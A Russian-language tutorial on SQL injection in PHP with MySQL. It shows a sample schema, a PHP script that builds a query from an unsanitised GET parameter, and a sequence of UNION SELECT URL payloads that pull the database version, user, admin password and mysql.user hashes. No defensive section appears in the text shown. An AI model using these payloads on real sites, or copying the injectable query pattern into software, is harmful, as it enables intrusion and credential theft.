SQL-инъекции
ОГЛАВЛЕНИЕ
Инъекция SQL является широко распространенным дефектом безопасности в Internet, что легко используется без специальных программ и не требует глубоких технических знаний.
Использование этой уязвимости дает путь к большим возможностям: как то кража, подмена или уничтожение данных, отказ в обслуживании, и т.д.
В этой статье я попробую объяснить основные риски, которые возникают при взаимодействии междуPHP и базой данных MySQL.
Для наглядности приведу пример простой структуры базы данных, которая является типичной для большинства проектов:
CREATE DATABASE `news`;
USE `news`;
#
# таблица новостей
#
CREATE TABLE `news` (
`id` int(11) NOT NULL auto_increment,
`title` varchar(50) default NULL,
`date` datetime default NULL,
`text` text,
PRIMARY KEY (`id`)
) TYPE=MyISAM;
#
#добавляем некоторые данные
#
INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (1,'first news','2005-06-25
16:50:20','news text');
INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (2,'second news','2005-06-24
12:12:33','test news');
#
# таблица пользователей
#
CREATE TABLE `users` (
`id` int(11) NOT NULL auto_increment,
`login` varchar(50) default NULL,
`password` varchar(50) default NULL,
`admin` int(1) NULL DEFAULT '0',
PRIMARY KEY (`id`)
) TYPE=MyISAM;
#
# добавляем несколько пользователей, одного с правами админа, другого простого
#
INSERT INTO `users` (`id`,`login`,`password`,`admin`) VALUES (1,'admin','qwerty',1);
INSERT INTO `users` (`id`,`login`,`password`,`admin`) VALUES (2,'user','1111',0);
А теперь образец PHP кода:
$link=mysql_connect("localhost","user","password");
mysql_select_db("sqltest",$link);
if (!empty($_GET["id"])) {
$query="SELECT * FROM `news` WHERE `id`=".$_GET["id"];
$res=mysql_query($query,$link) or die(mysql_error($link));
}
?>
Видим, что запрос формируется в зависимости от значения $_GET["id"]. Для проверки наличия уязвимости достаточно изменить его на значение, которое может вызвать ошибку в выполнении SQL запроса.
Конечно, вывода ошибок может и не быть, но это не означает, что ошибки нет.
http://test.com/index.php?id=1
как результат "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1"
или
http://test.com/index.php?id=1qwerty
результат "Unknown column '1qwerty' in 'where clause'"
запрос
http://test.com/index.php?id=2-1
при наличии уязвимости должен выдать результат, аналогичный
http://test.com/index.php?id=1
Подобные уязвимости позволяют модифицировать запрос в части параметра WHERE.
Первое, что сделает злоумышленник при обнаружении такой уязвимости - исследует, какое количество полей используется в запросе. Для этого задается заведомо неверный id, чтобы исключить вывод реальной информации и объединяется с запросом с одинаковым количеством пустых полей.
http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null
количество "null" должно соответствовать количеству полей, которые используются в запросе.
Если запрос выдает ошибку, добавляется еще одно пустое значение, до тех пор пока не исчезнет ошибка и не будет получен результат с пустыми данными. Далее объединенные поля заменяются на значения, которые можно визуально наблюдать на странице.
Например,
http://test.com/index.php?id=-1+UNION+SELECT+null,
теперь на странице, где должен был быть показан заголовок новости, будет красоваться qwerty.
версия MySql
http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null
http://test.com/index.php?id=-1+UNION+SELECT+null,USER(),null,null
http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null
логин текущего пользователя базы данных
http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null
имя используемой базы данных
http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null
Получение данных из других таблиц:
SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,`password`,null,null from `users`where `id`=1
Вот таким нехитрым способом узнают пароль или хэш пароля админа.
Если же текущий пользователь имеет права доступа к базе "mysql", без малейших проблем злоумышленник получит хэш пароля админа.
http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user
Теперь его подбор это просто вопрос времени.